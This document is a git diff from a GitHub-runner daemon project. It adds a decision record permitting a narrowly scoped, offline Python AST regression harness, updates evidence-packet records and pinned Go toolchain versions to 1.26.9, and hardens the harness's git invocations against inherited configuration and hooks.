diff --git a/docs/decisions/0004-offline-python-ast-regression-tooling.md b/docs/decisions/0004-offline-python-ast-regression-tooling.md new file mode 100644 index 0000000..a7294bd --- /dev/null +++ b/docs/decisions/0004-offline-python-ast-regression-tooling.md @@ -0,0 +1,76 @@ +# ADR 0004: Narrow Python exception for offline Python-AST evidence tests + +Status: accepted for the issue #79 evidence-tooling scope upon merge of PR #103; +the candidate remains subject to independent review and exact-head Codex review. + +## Context and evidence + +[ADR 0001](0001-language-and-boundaries.md) selects Go for the CLI, background +service, scheduler and state reconciliation. That product decision is unchanged. +The [G01 evidence packet](../evidence/g01-recovery-packet.md) already contains a +Python AST-based audit of Python and shell prescriptions. Issue #79 needs tests +of that existing implementation, including Python loop/comprehension targets, +call aliases and definition-time expressions. + +At candidate `387a647355e48d44333954fadf48d5b02335290c`, the standard-library +Python harness reproduced the seven recorded finding classes and passed eight +focused cases after their initial corrections. Independent review then found +additional reader/iterator gaps; [Codex review of that exact candidate](https://github.com/1XP-AI/gh-runnerd/pull/103#pullrequestreview-5325780932) +also identified loader and language-policy gaps. Those findings remain blockers +until their correction or evidence-based disposition is reviewed; the eight-test +result is not comprehensive safety proof. The local interpreter used for this +evidence is CPython 3.14.3; no other interpreter/platform coverage is implied. + +The harness uses Python's standard-library `ast`, `unittest` and local Git +fixtures, without third-party Python packages. Implementing a separate Python +parser in Go would duplicate the language semantics under test or introduce a +parser dependency. A Go wrapper that invokes the same Python checks would not +remove the interpreter dependency. No comparative maintenance or performance +benchmark has been run; this decision rests on testing the existing AST audit +directly and keeping the exception bounded. + +## Decision + +Permit Python only for +`scripts/evidence_packet/issue79_regression_test.py` and its offline regression +fixtures for the existing packet audit. This is not permission to implement +product behavior or general repository tooling in Python. Any broader use needs +a separately reviewed decision. The CLI, daemon and production adapters remain +Go; no Python interpreter or package is bundled into release artifacts. + +The harness must use only the standard library and explicitly selected local +Git fixture operations. Invoke it with `python3 -I -B`: isolated mode ignores +the current directory, `PYTHONPATH` and user-site imports, while `-B` avoids +bytecode artifacts. Record the actual interpreter and test results. Adding +dependencies, automatic hosted execution, or a broader supported interpreter +matrix requires separate review; this ADR does not claim those checks have run. + +## Trust and execution boundaries + +- Python/shell regression specimens remain data for AST/token inspection; they + must not be evaluated or launched. +- The scanner functions are the reviewed implementation under test, not + untrusted executable test data. This harness is not a Python sandbox or a + replacement for source review and runner trust policy. +- Loading packet definitions must reject unreviewed imports, decorators and + non-reviewed definition-time expressions before evaluation. A modified packet + must not acquire an import/decorator/default-expression execution path merely + because it contains a matching scanner fence. +- Local Git fixtures use task-owned temporary repositories and synthetic values. + The harness must not contact GitHub, dispatch workflows, access credentials, + or operate existing runners, Docker, Keychain or launchd. +- Repository/PR review, exact-head identity and live-operation authorization + gates still apply. Neither this exception nor green synthetic tests complete + G01/G02 or establish hostile-code isolation. + +## Consequences and rollback + +Maintainers now have one explicitly scoped interpreter-dependent evidence test. +Its manual focused results must be reported separately from Go/hosted checks; +passing Public CI does not imply this Python harness ran. Reconsider the exception +if the packet audit is extracted or replaced by a reviewed implementation with +equivalent regression coverage. + +Rollback is a reviewed revert of the harness and this exception, retaining Go +product code and unrelated evidence. Do not remove an existing safety check +without an explicit replacement or a documented reopening of the affected gate. diff --git a/docs/evidence/g01-recovery-packet.md b/docs/evidence/g01-recovery-packet.md index a6408ed..9d9a0df 100644 --- a/docs/evidence/g01-recovery-packet.md +++ b/docs/evidence/g01-recovery-packet.md @@ -41,6 +41,34 @@ in the driver. Bounded fixture rules preserve a later zero or absent observation from erasing an earlier work-bearing or uncertain observation; that is not a live or production reconciliation result. +### Published offline protocol review and bounded reuse + +On 2026-10-03, Codex (GPT-6-Luna, max) approved only the offline protocol +evidence for the provisional released SDK v0.4.0 listener and independent +reconciliation in [the published review](https://github.com/1XP-AI/gh-runnerd/issues/1#issuecomment-5967217026) +(08:33:02Z); it held full G01, production behavior and live qualification. +[The 08:39:04Z supplement](https://github.com/1XP-AI/gh-runnerd/issues/1#issuecomment-5967258854) +records the missing regex alternative for +`TestSDKJITLookupBeforeCreationDoesNotDiscoverIdentity`: the original seven +alternatives passed in the package run in 0.359s; the corrected standalone +selector passed in 0.361s on reviewed source +`9636e33781c72c32319db419334f49f1bc1866bc` with Go 1.26.8. These historical +tests were not rerun for this documentation change. + +Read-only Git tree comparisons show that `experiments/g01-scaleset` is tree +`9636ee550304dc8f155a44faa78d93b80939a138` and `experiments/g02-auth` is tree +`8015fedeccd7604cedef3e5e1814d190d7443757` at the reviewed source, current +`main` (`9a82a6a2b9c05c96c34a6ca9d0d8a6680ca209ff`), packet parent +`39e42787e8e1a8a22c1dfd1c63b30b486df44d42`, and separate G01 documentation +commit `8ae0c1a3dd158360784de64232a4890f3f3b2be6`. The G01 `go.mod` binds SDK +`v0.4.0` and the local `../g02-auth` replacement; G02 declares Go 1.26.8 and +no additional local replacement. This permits reuse of the review as historical +offline source/fixture evidence for those unchanged module trees. Reuse is +invalidated by a change to either tree or a relevant SDK/sum, toolchain, +Runner/JIT, authorization, fixture or test-selection boundary. Tree identity +does not prove external archive or runtime bytes, external GitHub semantics, the +current Issue79 scanner/packet review, full G01 completion or live behavior. + ## Classification and evidence index Use these classifications throughout the packet: @@ -74,6 +102,7 @@ Use these classifications throughout the packet: | [Exact observation adapter](g01-exact-observations.md) | Fixture: bounded exact-ID/status/provenance readers; no affirmative live recovery or cleanup. | [d62242b07b779ff6f7414e97096d2c8828634a5d](https://github.com/1XP-AI/gh-runnerd/blob/d62242b07b779ff6f7414e97096d2c8828634a5d/docs/evidence/g01-exact-observations.md) | | [Worker/JIT harness](g01-worker-harness.md) | Source + fixture: worker profile and secret boundary; no image startup, JIT mint, workflow or Docker result. | [c1c0b6a6f2f94651546f533576eb3bbe8a4089b4](https://github.com/1XP-AI/gh-runnerd/blob/c1c0b6a6f2f94651546f533576eb3bbe8a4089b4/docs/evidence/g01-worker-harness.md) | | [Paired collection](g01-paired-baseline.md) and [terminal path](g01-paired-terminal.md) | Fixture: serialized controller/worker receipts and terminal correlation; no live cleanup or success claim. | [8dd64adc551ba5174892807a678e8bc614d0a474](https://github.com/1XP-AI/gh-runnerd/blob/8dd64adc551ba5174892807a678e8bc614d0a474/docs/evidence/g01-paired-baseline.md), [cf67d4aeb511116fee0de31a4ac38409f28fa29f](https://github.com/1XP-AI/gh-runnerd/blob/cf67d4aeb511116fee0de31a4ac38409f28fa29f/docs/evidence/g01-paired-terminal.md) | +| [Published offline protocol review and supplement](#published-offline-protocol-review-and-bounded-reuse) | Source + fixture: Codex GPT-6-Luna/max approved only the provisional SDK listener and independent-reconciliation protocol evidence; the supplement records the corrected regex-alternative result. No full G01, production or live approval. | [Review, 2026-10-03 08:33:02Z](https://github.com/1XP-AI/gh-runnerd/issues/1#issuecomment-5967217026); [supplement, 08:39:04Z](https://github.com/1XP-AI/gh-runnerd/issues/1#issuecomment-5967258854); reviewed source `9636e33781c72c32319db419334f49f1bc1866bc`; G01/G02 trees recorded above. | | G01 evidence base | The selected safety/evidence base is the immutable merge below; this row intentionally does not identify a moving branch tip, and historical records retain their original source pins. | [G01 safety merge `070268968e440e52f11c7f3dea3cd9bff4eb0c34`](https://github.com/1XP-AI/gh-runnerd/commit/070268968e440e52f11c7f3dea3cd9bff4eb0c34) | | [Private canary infrastructure observation](#private-canary-infrastructure-observation) | Live infrastructure: authorized runner-group/identity/heartbeat only; public aliases only; native macOS ARM64 trust and reviewed source binding `match` required; not product Scale Set SDK listener, ACK, acquisition, JIT, drain, App/API authority, or cleanup. | Public aliases `canary-run-20260916-01` / `canary-job-runner-baseline-20260916-01`; source fingerprint `canary-workflow-source-20260916-01`; maintainer authorization [issue comment 5697441477](https://github.com/1XP-AI/gh-runnerd/issues/1#issuecomment-5697441477) bound to SHA-256 `09a806866c83d270f8b9dfaa4500c18b9422221657d10927921d1bf99c08ede8`; native macOS ARM64 trusted-execution [issue comment 5700601191](https://github.com/1XP-AI/gh-runnerd/issues/1#issuecomment-5700601191) bound to SHA-256 `111f8598241deabe172abc1527fb95bd067d46bb69089e112d071ad74dc89011`; private mapping not included | @@ -179,7 +208,7 @@ or exercise the tagged controller driver, and does not close G01. | Boundary | Exact selection | Classification / exposure limit | |---|---|---| | Scale Set SDK | `github.com/actions/scaleset v0.4.0`; tag/source `6ce025902cd964747a078c2aabe7340ebc667eca`; [release](https://github.com/actions/scaleset/releases/tag/v0.4.0), [listener source](https://github.com/actions/scaleset/blob/6ce025902cd964747a078c2aabe7340ebc667eca/listener/listener.go), [module](https://github.com/actions/scaleset/blob/6ce025902cd964747a078c2aabe7340ebc667eca/go.mod) | Source + fixture pin. The module declares Go `1.25.3`; the audited comparison is not the selected release. | -| Go toolchain | Experiment module directive `go 1.26.3`; verification toolchain `GOTOOLCHAIN=go1.26.8` / `go1.26.8`; reviewed `GOEXPERIMENT=none` | Fixture/toolchain evidence only; every rerun records the exact toolchain and experiment setting. | +| Go toolchain | Current experiment module directive `go 1.26.9`; verification toolchain `GOTOOLCHAIN=go1.26.9` / `go1.26.9`; reviewed `GOEXPERIMENT=none` | Fixture/toolchain evidence only; every rerun records the exact toolchain and experiment setting. The historical `go 1.26.8` directive/verification pair was replaced by `go 1.26.9` under the authorized shared-Go remediation (immutable G01 pin commit `c81a17b654686600277474ae63376fdcb1210193`, corrected record `9776562fc792e0fb76684fb7be90a7ed118ed0ec`; local dependency `36e39fb`); the earlier `go 1.26.3` directive was replaced by `go 1.26.8` at [the #93 merge](https://github.com/1XP-AI/gh-runnerd/commit/94d00b0b07b43c156c0311cfb1f16eb6ca280bb3); older evidence retains its original source pins. | | Go root/FIPS mode | Reviewed `GOROOT` mode is the toolchain default (`GOROOT=""`, identity `goroot-default`); reviewed `GOFIPS140=off` (identity `gofips140-off`) | Fixture/toolchain evidence only; non-empty inherited or command-prefix `GOROOT` and any `GOFIPS140` other than `off` are refused before a guarded Go child. The effective modes are bound in every guarded build identity; raw root paths are never recorded. | | Runner | `v2.337.0`, source `397b032cbf865e9c3ddfab89d533ec19325e1273`; [release](https://github.com/actions/runner/releases/tag/v2.337.0), [command parser](https://github.com/actions/runner/blob/397b032cbf865e9c3ddfab89d533ec19325e1273/src/Runner.Listener/CommandSettings.cs), [JIT materialization](https://github.com/actions/runner/blob/397b032cbf865e9c3ddfab89d533ec19325e1273/src/Runner.Listener/Runner.cs) | Source pin; no runner binary was downloaded or executed by the contract evidence. | | JIT bootstrap | Select worker-only `ACTIONS_RUNNER_INPUT_JITCONFIG` as parsed by runner `v2.337.0`; [environment parsing](https://github.com/actions/runner/blob/397b032cbf865e9c3ddfab89d533ec19325e1273/src/Runner.Listener/CommandSettings.cs) | Source-supported fallback, with no separate transport version. It avoids argv but remains sensitive in initial environment, process memory, container metadata and runner-written files. `--jitconfig` exposes argv; stdin/FD/file transport is not established and is not claimed. | @@ -238,9 +267,14 @@ The following are explicit open product gates. They are not implied by the fixture records and are not closed by the private canary infrastructure observation: -1. Obtain an independent `gpt-luna-max` protocol/recovery review of the exact - candidate source and this packet. New work follows the current - `gpt-luna-max` route; historical Astra authorship is not current routing. +1. The published Oct 3 review above is reusable only for the unchanged offline + protocol evidence and recorded source/module trees; it does not review this + Issue79 scanner/packet correction or approve full G01, production or live + behavior. Exact-candidate review of the current packet/source remains + separate, and any future live phase additionally requires review/approval + of the exact live source, harness/workflow and target plus explicit + authorization. New work follows the current `gpt-luna-max` route; historical + Astra authorship is not current routing. 2. Name one disposable private repository, selected-only runner group, reviewed workflow/run attempt/source/head/path, owner nonce and immutable harness/workflow commits. Record an unchanged manual-runner inventory. @@ -284,15 +318,15 @@ the count includes the actual live-canary gate row. | Boundary | Reuse unchanged evidence when | Exact focused rerun | Class/result to record | |---|---|---|---| -| ACK, callback loss and acquisition order | SDK commit, listener source, adapter call order and root protocol fixtures are unchanged. | See the exact ACK/callback selector in the command block below, including `TestNoMessageDoesNotCountAsCompletedBarrier`. | Fixture: record ACK-before-acquisition and reservation/quarantine behavior; do not add server or exactly-once claims. | +| ACK, callback loss and acquisition order | SDK commit, listener source, adapter call order, root protocol fixtures and the recorded G01/G02 module tree identities are unchanged. Reuse of the Oct 3 review also requires the relevant SDK/sum, toolchain, authorization, fixture and test selection to remain unchanged. | See the exact ACK/callback selector in the command block below, including `TestNoMessageDoesNotCountAsCompletedBarrier`. | Fixture: record ACK-before-acquisition and reservation/quarantine behavior; do not add server or exactly-once claims. | | Baseline listener/admission | listener, strict source reader, journal/lease, caps and selectors are unchanged. | See the exact baseline and admission selectors in the command block below, including the worker admission integrity suite and the tagged `TestUnsupportedAccountLookupRefusesBeforeJournal` selector. | Fixture: record actual test result and pinned SDK; no live result or production worker claim. | | Runner parser/JIT causality and transport | Runner version/source commit, parser/materialization behavior, JIT transport, causal fixture and response-loss controls are unchanged. | A Runner pin or source-commit change first requires the immutable source-audit gate above; then rerun the root-package and livecanary selectors in the command blocks below, with tagged worker input/refusal and worker transport selectors as applicable. Local Go fixture results cannot substitute for the source audit. | Source + fixture: record parser/materialization comparison, one-request controls and quarantine; never print or retain JIT. | | Controller update policy | pinned SDK update-setting request, confirmation and drift guards are unchanged. | See the exact `./livecanary` update-policy selectors in the worker/runtime command block below: `TestCreateRequestsDisabledRunnerUpdate`, `TestUnconfirmedUpdateSettingQuarantinesCreate`, `TestUpdateSettingDriftStopsBeforeSessionOrJIT` and `TestUpdateSettingDriftDoesNotBlockSafeEmptyCleanup`. | Source + fixture: record request/confirmation and pre-session/JIT refusal; no live service-setting result. | -| Reconciliation, inventory/identity/quarantine | statistics readers, paged inventory normalization, generation fences, ownership checks and journal/authority schema are unchanged. | Retain the prior reconciliation selector and add the exact focused `TestObservation*` and `TestRoster*` families, inventory/quarantine and journal/authority selectors in the command block below, including controller-side `TestAmbiguousCreateNeverRetriesAfterRestart`, the four `TestInventory*` cases, `TestDemandStatisticsAllowControlledProbeButNeverCleanup`, `TestCleanupOnlyForNeverIssuedWorkerWithExactReceipt`, `TestWorkerPreparationReturnsCanonicalSnapshotAndRejectsPriorEffect`, and the named journal/authority contracts in both `./livecanary` and `./liveworker`. | Fixture: record normalized facts and retained uncertainty; no live equality/absence claim. | +| Reconciliation, inventory/identity/quarantine | Statistics readers, paged inventory normalization, generation fences, ownership checks, journal/authority schema and the recorded G01/G02 module tree identities are unchanged. Reuse of the Oct 3 review is limited to its offline reconciliation evidence and requires the relevant toolchain, authorization, fixture and test selection to remain unchanged. | Retain the prior reconciliation selector and add the exact focused `TestObservation*` and `TestRoster*` families, inventory/quarantine and journal/authority selectors in the command block below, including controller-side `TestAmbiguousCreateNeverRetriesAfterRestart`, the four `TestInventory*` cases, `TestDemandStatisticsAllowControlledProbeButNeverCleanup`, `TestCleanupOnlyForNeverIssuedWorkerWithExactReceipt`, `TestWorkerPreparationReturnsCanonicalSnapshotAndRejectsPriorEffect`, and the named journal/authority contracts in both `./livecanary` and `./liveworker`. | Fixture: record normalized facts and retained uncertainty; no live equality/absence claim. | | Secret and error handling | SDK error sentinels, HTTP body/debug redaction and shared response-budget controls are unchanged. | See the exact root, livecanary and liveworker selectors in the secret/error command block below, including decoded-body truncation, gzip-budget, uncertain-start, bounded Unix-response/redirect, journal-create-failure and raw-runtime-status tests. | Fixture: record normalized sentinel/error and body-budget behavior; no secret-bearing output or live result is claimed. | | Tagged controller/JIT input and credential transport boundary | `g01_live` source, input reader, credential attestation and transport refusal tests are unchanged. | Run the tagged command below plus the livecanary credential/transport selector below, including `TestAuthoritySplitAndPolicyRejection`, `TestSDKTransportOwnership`, `TestCredentialAttestationMismatchAndExpiredTokenRejected` and `TestTransportRejectsPlaintextOffHostAndProxyBeforeNetwork`. | Fixture: record no-secret/no-echo/refusal result; no credential or live phase. | -| Idle drain and withdrawal | Only reuse the historical PR #72 review head `f5560ba950f77343e57034cc1cf85dc67f5ac922` and its unchanged fixture/source. | On a checkout of that historical PR #72 review head, run the guarded `drain-pr72` and `drain-pr72-race` commands below; both carry the same exact selector/package digest, with `default+norace+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8` and `default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8` metadata respectively. | Fixture/source: record physical-write markers as client facts and inconclusive server receipt; never reuse as live assignment/drain evidence. | -| Paired terminal/worker support | paired journal/lease, worker profile, `liveworker` runtime source/implementation, image/runtime pins and terminal selectors are unchanged. | See the exact controller update-policy and worker runtime commands plus the tagged partition commands below; the worker runtime selector includes the direct Docker state/inspection, mutation-EOF and changed-daemon contracts, while tagged partition commands retain `go1.26.8`, `-race`, `-count=1` and `-timeout=120s`, the complete worker `^TestPaired` partition is included, and the controller-side terminal groups remain exhaustive/disjoint. | Fixture: record receipt/identity checks only; no live worker or terminal success claim. | +| Idle drain and withdrawal | Only reuse the historical PR #72 review head `f5560ba950f77343e57034cc1cf85dc67f5ac922` and its unchanged fixture/source. | On a checkout of that historical PR #72 review head, run the guarded `drain-pr72` and `drain-pr72-race` commands below; both carry the same exact selector/package digest, with `default+norace+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9` and `default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9` metadata respectively. | Fixture/source: record physical-write markers as client facts and inconclusive server receipt; never reuse as live assignment/drain evidence. | +| Paired terminal/worker support | paired journal/lease, worker profile, `liveworker` runtime source/implementation, image/runtime pins and terminal selectors are unchanged. | See the exact controller update-policy and worker runtime commands plus the tagged partition commands below; the worker runtime selector includes the direct Docker state/inspection, mutation-EOF and changed-daemon contracts, while tagged partition commands retain `go1.26.9`, `-race`, `-count=1` and `-timeout=120s`, the complete worker `^TestPaired` partition is included, and the controller-side terminal groups remain exhaustive/disjoint. | Fixture: record receipt/identity checks only; no live worker or terminal success claim. | | Actual live canary | Reuse the sanitized infrastructure observation only for the same public aliases (`private-canary-repository`, `canary-workflow-20260916-01`, `canary-run-20260916-01`, `canary-job-runner-baseline-20260916-01`, `canary-runner-group-01`, `canary-runner-01`, `canary-macos-arm64`), source fingerprint `canary-workflow-source-20260916-01`, run attempt `1`, reviewed source binding `match`, native macOS ARM64 trusted-execution approval, and the runner-group/identity/heartbeat boundary, after the recorded authorization/review gate and both authorization body digests. It is not reusable as product Scale Set SDK listener, ACK, acquisition, JIT, drain, App/API authority, or cleanup evidence. No reuse if alias, source, path, attempt, or target changes. Product live phases still have no reusable live result. | Infrastructure-only rerun: require fresh maintainer authorization, including trusted native macOS ARM64 execution approval, and independent review of the immutable private workflow/source mapping; verify only the owned target and pre-run inventory; dispatch the exact reviewed manual workflow once; read the run-metadata API; compare returned workflow run head SHA and workflow path against the maintainer-only reviewed source mapping and accept job/runner facts only on `reviewed source binding: match`; on mismatch, missing data, or unknown ownership, classify as unverified/quarantine and do not reuse; then read the attempt jobs API; sanitize to the same public schema/aliases; record a new digest/alias and result; stop on mismatch or unknown ownership. Never substitute the product driver, automatically replay, or perform broad cleanup. Product phases remain separate: rebuild/plan the exact reviewed tagged binary, then run only the explicitly authorized phase from [the driver](g01-live-driver.md); never substitute fixture commands, this infrastructure observation, or broaden phases. | Live infrastructure: sanitized authorized run-metadata API event/attempt/conclusion, `reviewed source binding: match`, and attempt jobs API runner-group/identity/heartbeat facts for aliases `canary-run-20260916-01` / `canary-job-runner-baseline-20260916-01` at fingerprint `canary-workflow-source-20260916-01`. Product live: still record sanitized server observations, authorization and unresolved outcomes; any changed target or boundary requires a fresh approval/rerun. | The two drain prescriptions intentionally bind a different reviewed source tree @@ -528,7 +562,7 @@ set -euo pipefail # Invocation metadata is: package ID module-dir:package, then build ID # tags+race-mode+cgo-mode+cgo-tool-identity+goexperiment+target+goroot+gofips140+toolchain (for # example, experiments/g01-scaleset:./livecanary -# default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8). +# default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9). # The wrapper checks package initialization/build state, derives test names from # the same source/build selection without starting a test binary, then runs the # original command with its own JSON stream. @@ -723,7 +757,7 @@ for source, value in ( f"{label}: {source} GOENV must be {reviewed_goenv!r}" ) env["GOENV"] = reviewed_goenv -reviewed_toolchain = "go1.26.8" +reviewed_toolchain = "go1.26.9" for source, value in ( ("inherited", os.environ.get("GOTOOLCHAIN")), ("command", command_assignments.get("GOTOOLCHAIN")), @@ -1036,12 +1070,32 @@ env.update( def git_command(arguments): return [ - "git", + "/usr/bin/env", + "-i", + "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", + "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", + "/usr/bin/git", + "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", *arguments, ] + + +root_git_environment = { + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "GIT_CONFIG_SYSTEM": "/dev/null", + "GIT_ATTR_NOSYSTEM": "1", + "GIT_CONFIG_COUNT": "2", + "GIT_CONFIG_KEY_0": "core.fsmonitor", + "GIT_CONFIG_VALUE_0": "false", + "GIT_CONFIG_KEY_1": "core.hooksPath", + "GIT_CONFIG_VALUE_1": "/dev/null", +} loader_assignment_names = { "PATH", "LD_PRELOAD", @@ -1089,7 +1143,7 @@ repo_root = Path( subprocess.check_output( git_command(["rev-parse", "--show-toplevel"]), cwd=invocation_root, - env=env, + env=root_git_environment, text=True, ).strip() ).resolve() @@ -2199,7 +2253,9 @@ def create_immutable_source_snapshot(repo_root, module_dir, env): """Materialize reviewed source bytes into a private read-only test tree.""" snapshot_directory = tempfile.TemporaryDirectory() snapshot_root = Path(snapshot_directory.name) - source_blobs = git_worktree_matches_pinned_blobs(repo_root, module_dir, env) + source_blobs = git_worktree_matches_pinned_blobs( + repo_root, module_dir, env=env + ) directories = {Path(module_dir)} for relative_path, payload in sorted(source_blobs.items()): relative = Path(relative_path) @@ -2237,10 +2293,21 @@ def create_immutable_source_snapshot(repo_root, module_dir, env): def recheck_reviewed_source_checkout(phase): """Recheck the reviewed tree, raw bytes, status and intent at a boundary.""" + recheck_git_environment = { + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "GIT_CONFIG_SYSTEM": "/dev/null", + "GIT_ATTR_NOSYSTEM": "1", + "GIT_CONFIG_COUNT": "2", + "GIT_CONFIG_KEY_0": "core.fsmonitor", + "GIT_CONFIG_VALUE_0": "false", + "GIT_CONFIG_KEY_1": "core.hooksPath", + "GIT_CONFIG_VALUE_1": "/dev/null", + } source_tree = subprocess.run( git_command(["rev-parse", f"HEAD:{module_dir}"]), cwd=repo_root, - env=env, + env=recheck_git_environment, text=True, capture_output=True, check=False, @@ -2249,22 +2316,39 @@ def recheck_reviewed_source_checkout(phase): raise SystemExit(f"{label}: {phase} source-tree query failed") if source_tree.stdout.strip() != reviewed_module_tree: raise SystemExit(f"{label}: {phase} source tree drifted from the reviewed pin") - git_worktree_matches_pinned_blobs(repo_root, module_dir, env) - source_status = run_bounded_git_status(repo_root, module_dir, env) + git_worktree_matches_pinned_blobs( + repo_root, module_dir, env=recheck_git_environment + ) + source_status = run_bounded_git_status( + repo_root, module_dir, env=recheck_git_environment + ) if source_status.returncode != 0 or source_status.stderr.strip(): raise SystemExit(f"{label}: {phase} source status query failed") if source_status.stdout.strip(): raise SystemExit(f"{label}: {phase} source checkout was not clean") - if git_source_control_entries(repo_root, module_dir, env): + if git_source_control_entries( + repo_root, module_dir, env=recheck_git_environment + ): raise SystemExit(f"{label}: {phase} source has intent-bit overrides") def package_initialization_guard(): global go_repo_root, source_snapshot_directory, source_snapshot_root, source_snapshot_digest + package_git_environment = { + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "GIT_CONFIG_SYSTEM": "/dev/null", + "GIT_ATTR_NOSYSTEM": "1", + "GIT_CONFIG_COUNT": "2", + "GIT_CONFIG_KEY_0": "core.fsmonitor", + "GIT_CONFIG_VALUE_0": "false", + "GIT_CONFIG_KEY_1": "core.hooksPath", + "GIT_CONFIG_VALUE_1": "/dev/null", + } source_tree = subprocess.run( git_command(["rev-parse", f"HEAD:{module_dir}"]), cwd=repo_root, - env=env, + env=package_git_environment, text=True, capture_output=True, check=False, @@ -2275,8 +2359,12 @@ def package_initialization_guard(): raise SystemExit( f"{label}: package-initialization guard requires reviewed source tree" ) - git_worktree_matches_pinned_blobs(repo_root, module_dir, env) - source_status = run_bounded_git_status(repo_root, module_dir, env) + git_worktree_matches_pinned_blobs( + repo_root, module_dir, env=package_git_environment + ) + source_status = run_bounded_git_status( + repo_root, module_dir, env=package_git_environment + ) if source_status.returncode != 0 or source_status.stderr.strip(): raise SystemExit(f"{label}: package source status query failed") if source_status.stdout.strip(): @@ -2284,7 +2372,9 @@ def package_initialization_guard(): f"{label}: package-initialization guard requires a clean source tree " "with no tracked, untracked or ignored paths" ) - source_control_entries = git_source_control_entries(repo_root, module_dir, env) + source_control_entries = git_source_control_entries( + repo_root, module_dir, env=package_git_environment + ) if source_control_entries: raise SystemExit( f"{label}: source has skip-worktree or assume-unchanged entries" @@ -2296,7 +2386,9 @@ def package_initialization_guard(): source_snapshot_directory, source_snapshot_root, source_snapshot_digest, - ) = create_immutable_source_snapshot(repo_root, module_dir, env) + ) = create_immutable_source_snapshot( + repo_root, module_dir, env=package_git_environment + ) go_repo_root = source_snapshot_root verify_downloaded_module_sources() recheck_reviewed_source_checkout("after module download before metadata") @@ -2981,77 +3073,77 @@ go_vet_checked() { "$label" "$package_id" "$build_id" "$@" } -go_test_checked 9 9aef95c84ffd42ad632040498c628c78072ce94f5cc2f6af8493fcffc233b707 ack-root experiments/g01-scaleset:. default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s -run '^(TestSDKACKBoundaries|TestSDKDemandAboveFiftyAndPartialAcquisition|TestSDKRepeatedStatisticsAnd202ReuseLastObservation|TestRecoveryAfterACKCallbackCrash|TestRecoveryMissingLifecycleCallback|TestRecoveryErrorsHoldReservationsAndRedact|TestSDKAcquisitionResponseLossAfterACK|TestSDKCapacityWithdrawalDoesNotFenceInFlightAcquisition|TestSDKHTTPFailuresAndSessionRefresh)$' . -go_test_checked 5 f95a296947af0fb862e8b447d3e27b7ce9f01e726659f5f87393789b62b783c9 ack-livecanary experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=45s ./livecanary -run '^(TestSupportedListenerBarriersAndReservation|TestDriverBarriersThroughPinnedSDK|TestForeignIdentityAndUnreviewedWorkNeverACKOrDelete|TestAuditPR25MultiJobAcquisitionMustRefuseBeforeACK|TestNoMessageDoesNotCountAsCompletedBarrier)$' - -go_test_checked 24 eae489a7d743c942dca803c9b13cb618dcd87fbd9a53634f022bc5381c7d6436 baseline experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=180s ./livecanary -run '^TestBaseline' -go_test_checked 9 b6a378d192ba2c614cd82c20eab7cffcdbbb00115a1bba4da803fc262a1c3d8f admission-livecanary experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=180s ./livecanary -run '^(TestAdmission.*|TestAuditPR25DistinctStateDirectoriesMustShareCap)$' -go_test_checked 8 4bce3c998c4f2e6806888de2ea9936c6dd9ea877c72b190d47f4f47e24cdb559 admission-liveworker experiments/g01-scaleset:./liveworker default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -count=1 -timeout=180s ./liveworker -run '^(TestAdmissionDirectoryUsesOSAccountWithoutEnvironmentFallback|TestAdmissionAuthorityChecksTheCurrentClaim|TestWorkerAdmissionCapsIndependentDirectories|TestWorkerAdmissionRetainsSlotAfterOutcomeAndClose|TestAdmissionRejectsCopiedJournalInDifferentDirectory|TestAdmissionSyncFailureMustBeRetried|TestAdmissionRefusesMissingUnsafeOrUnknownRootState|TestAdmissionInitializationLockPrecedesClaimCreation)$' -go_test_checked 1 e7cdff09074beb49efb17b8e68201798140ea6f0e83ad10f3fc096aed98823ce unsupported-liveworker experiments/g01-scaleset:./liveworker osusergo+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -race -tags=osusergo -count=1 -timeout=180s ./liveworker -run 